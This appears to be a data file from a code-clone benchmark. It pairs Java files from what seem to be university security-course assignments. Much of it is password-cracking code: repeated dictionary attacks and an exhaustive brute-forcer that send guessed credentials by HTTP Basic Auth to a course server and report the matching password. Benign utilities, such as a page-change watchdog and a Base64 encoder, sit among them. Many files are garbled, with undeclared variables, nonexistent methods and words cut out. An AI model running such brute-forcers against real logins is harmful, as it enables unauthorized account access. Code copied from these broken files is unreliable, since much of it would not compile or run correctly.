connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
184.java | 161.java | 0 |
import java.util.Timer;
import java.util.TimerTask;
import java.net.*;
import java.io.*;
import javax.mail.*;
import javax.mail.internet.*;
import java.util.*;
public class WatchDog {
Timer timer;
public WatchDog() {
timer = new Timer();
timer.schedule(new WatchTask(),
0,
1*1000);
}
class WatchTask extends TimerTask {
public void run() {
try {
URL rmitUrl = new URL("http://www.cs.rmit.edu./students/");
URLConnection rmitConnection = rmitUrl.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
rmitConnection.getInputStream()));
String inputLine;
BufferedReader bufr = new BufferedReader(
new FileReader ("dest.txt"));
String outputLine;
while (((inputLine = in.readLine()) != null) && ((outputLine = bufr.readLine()) != null))
{
if (inputLine.compareTo(outputLine) != 0)
{
System.out.println(inputLine);
System.out.println(outputLine);
System.out.println("Sending Email Part...");
postMail("@cs.rmit.edu.", "Notice", inputLine, "@cs.rmit.edu.");
}
}
in.close();
bufr.close();
}
catch(Exception e){}
}
}
public static void main(String args[]) throws Exception{
System.out.println("About schedule task.");
URL phpUrl = new URL("http://www.cs.rmit.edu./students/");
URLConnection urlConnection = phpUrl.openConnection();
BufferedReader out = new BufferedReader(
new InputStreamReader(
urlConnection.getInputStream()));
String record;
PrintWriter pw = new PrintWriter (new
BufferedWriter (new FileWriter ("dest.txt")));
record = out.readLine();
while (record != null)
{
pw.println(record);
record = out.readLine();
}
pw.close();
for (int i = 0; i < 3600; i ++)
{
System.out.println("WatchDog running...");
new WatchDog();
}
System.out.println("Task scheduled.");
}
public void postMail( String recipients, String subject, String message , String from)
throws Exception
{
boolean debug = false;
Properties props = new Properties();
props.put("mail.smtp.host", "pwd..rmit.edu.");
Session session = Session.getDefaultInstance(props, null);
session.setDebug(debug);
Message msg = new MimeMessage(session);
InternetAddress addressFrom = new InternetAddress(from);
msg.setFrom(addressFrom);
InternetAddress addressTo = new InternetAddress();
addressTo = new InternetAddress(recipients);
msg.setRecipients(Message.RecipientType.NORMAL, addressTo);
msg.addHeader("MyHeaderName", "WebPage Changed Notice");
msg.setSubject(subject);
msg.setContent(message, "text/plain");
Transport.send(msg);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
018.java | 161.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class ParsingImgLink
{
String url, imgLink, line;
public ParsingImgLink( String baseURL, String str )
{
url = baseURL;
line = str;
parsingLine();
}
public void parsingLine()
{
int end;
String imgURLStr = null;
if( ( url = line.indexOf("src=\"") ) != -1 )
{
String subStr = line.substring(+5);
end = subStr.indexOf("\"");
imgURLStr = subStr.substring( 0, end );
System.out.println(imgURLStr);
}
else if( ( end = line.indexOf("SRC=\"")) != -1 )
{
String subStr = line.substring(+5);
end = subStr.indexOf("\"");
imgURLStr = subStr.substring( 0, end );
System.out.println(imgURLStr);
}
if( imgURLStr.indexOf("://") == -1 )
{
try
{
URL baseURL = new URL( url );
URL imgURL = new URL( baseURL, imgURLStr );
imgLink = imgURL.toString();
}
catch( MalformedURLException mue )
{
String msg = "Unable parse URL !";
System.err.println( msg );
}
}
}
public String getImgLink()
{
return imgLink;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
112.java | 161.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
145.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary{
private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;
public Dictionary() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
String password = new String();
try {
password = dictionary.readLine();
while (password.length() > maxLetters) {
password = dictionary.readLine();
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
return password.toCharArray();
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java Dictionary url user dictionary");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
try {
dictionary = new BufferedReader(new FileReader(args[2]));
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
new Dictionary();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat("-"));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
210.java | 161.java | 0 |
import java.io.*;
import java.util.*;
import java.*;
public class storeNewFile
{
private PrintWriter outputStream= null;
private String filename;
private FileWriter fw;
public storeNewFile(String fname)
{
try
{
filename = fname;
outputStream=new PrintWriter(new FileOutputStream(filename));
}
catch(FileNotFoundException e)
{
System.err.println("File "+filename+" was not found");
}
catch(IOException e)
{
System.err.println("Error ");
}
}
public void getStringW(StringWriter sw)
{
outputStream.print(sw.toString());
}
public void closeStream()
{
outputStream.write();
}
public void translogFile(String result)
{
String fileName = "TransactionLog.txt";
try{
fw=new FileWriter(fileName,true);
fw.write(result);
fw.write('\n');
fw.print();
System.out.println("Saved sucessfully");
}catch(IOException e){
System.out.println("Error saving the file");
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
200.java | 161.java | 0 |
import java.io.*;
import java.util.*;
public class Dog
{
public Dog()
{
Copier cop;
String[] myFiles;
File myDir = new File(".");
myFiles = myDir.list();
int flag = 0;
int j;
for(int i = 0;i < myFiles.length; i++)
{
j = myFiles[i].compareTo("oldCopy.html");
if( j == 0)
{
System.out.println(myFiles[i]+" "+j);
flag = 1;
break;
}
}
if( flag == 0)
cop = new Copier("oldCopy.html");
else
{
cop = new Copier("newCopy.html");
try
{
handleCompare();
}
catch( IOException e)
{
System.out.println("IOExeption "+e);
e.printStackTrace();
System.exit(0);
}
}
}
private void handleCompare() throws IOException
{
MailClient m;
File newFile = new File("newCopy.html");
File oldFile = new File("oldCopy.html");
String lineNew, lineOld;
LineNumberReader lnrNew, lnrOld;
Vector v = new Vector(10);
int flag = 0;
int comp;
lnrNew = new LineNumberReader( new FileReader( newFile));
lnrOld = new LineNumberReader( new FileReader( oldFile));
while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null))
{
comp = lineNew.compareTo( lineOld);
if( comp == 0)
continue;
else
{
flag = lnrNew.getLineNumber();
v.add( new Integer(flag));
}
}
if( v.size() != 0)
{
m = new MailClient("mail.cs.rmit.edu.", 25 );
v.connect();
}
lnrNew.print();
lnrOld.print();
oldFile.delete();
newFile.renameTo(oldFile);
}
public static void main (String[] args)
{
Dog pepa = new Dog();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
041.java | 161.java | 0 |
public class Base64 {
static public char[] encode(byte[] data)
{
char[] out = new char[((data.length + 2) / 3) * 4];
for (int i=0, index=0; i<data.length; i+=3, index+=4) {
boolean quad = false;
boolean trip = false;
int bat = (0xFF & (int) data[i]);
bat <<= 8;
if ((i+1) < data.length) {
bat |= (0xFF & (int) data[i+1]);
trip = true;
}
bat <<= 8;
if ((i+2) < data.length) {
bat |= (0xFF & (int) data[i+2]);
quad = true;
}
out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
bat >>= 6;
out[index+1] = alphabet[bat & 0x3F];
bat >>= 6;
out[index+0] = alphabet[ bat & 0x3F];
}
return out;
}
static public byte[] decode(char[] data)
{
int tempLen = data.length;
for( int ix=0; ix<data.length; ix++ )
{
if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
--tempLen;
}
int len = (tempLen / 4) * 3;
if ((tempLen % 4) == 3) len += 2;
if ((tempLen % 4) == 2) len += 1;
byte[] out = new byte[len];
int shift = 0;
int accum = 0;
int index = 0;
for (int ix=0; ix<data.length; ix++)
{
int value = (data[ix]>255)? -1: codes[ data[ix] ];
if ( value >= 0 )
{
accum <<= 6;
shift += 6;
accum |= value;
if ( shift >= 8 )
{
shift -= 8;
out[index++] =
(byte) ((accum >> shift) & 0xff);
}
}
}
if( index != out.length)
{
throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
}
return out;
}
static private char[] alphabet =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
.toCharArray();
static private byte[] codes = new byte[256];
static {
for (int i=0; i<256; i++) codes[i] = -1;
for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)( i - 'A');
for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
codes['+'] = 62;
codes['/'] = 63;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
011.java | 161.java | 0 | import java.net.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
import java.security.*;
public class BruteForce {
public static BufferedReader in;
public static void main (String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES*1000*60;
boolean timedOut=false;
boolean found=false;
char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
while (found==false) {
String password = "";
URL url = new URL(baseURL);
String username="";
for (int i=0; i<letters.length; i++){
password = String.valueOf(letters[i]);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
i=letters.length;
}
}
if (!found) {
for (int j=0; j<letters.length; j++){
for (int k=0; k<letters.length; k++) {
String letter1=String.valueOf(letters[j]);
String letter2=String.valueOf(letters[k]);
password = letter1.concat(letter2);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=letters.length;
k=letters.length;
}
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersLC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersLC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersUC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersUC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersUC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersUC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersUC.length;
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersUC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersLC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersUC.length; j++){
for (int k=0; k<lettersLC.length; k++) {
for (int l=0; l<lettersUC.length; l++){
String letter1=String.valueOf(lettersUC[j]);
String letter2=String.valueOf(lettersLC[k]);
String letter3=String.valueOf(lettersUC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersUC.length;
k=lettersLC.length;
l=lettersUC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (!found){
for (int j=0; j<lettersLC.length; j++){
for (int k=0; k<lettersUC.length; k++) {
for (int l=0; l<lettersLC.length; l++){
String letter1=String.valueOf(lettersLC[j]);
String letter2=String.valueOf(lettersUC[k]);
String letter3=String.valueOf(lettersLC[l]);
password = letter1.concat(letter2);
password = password.concat(letter3);
String authString = username+":"+password;
String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
System.out.print("authString is: "+authString);
URLConnection urlConnect=url.openConnection();
urlConnect.setRequestProperty("Authorization"," "+encoding);
String responseCode = urlConnect.getHeaderField(0);
String errorCode = new String(urlConnect.getHeaderField(0));
System.out.print(" Response is: ");
System.out.println(responseCode);
if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
found=true;
j=lettersLC.length;
k=lettersUC.length;
l=lettersLC.length;
}
}
}
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
j=lettersLC.length;
}
}
}
if (found){
System.out.println("Password is: "+password);
}
else {
found=true;
if (!timedOut){
System.out.println("Tried all combinations, still match.");
}
}
Date foundDate = new Date();
foundTime=foundDate.getTime();
foundTime=(foundTime-startTime);
System.out.println("Time taken was : "+foundTime+" milliseconds");
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
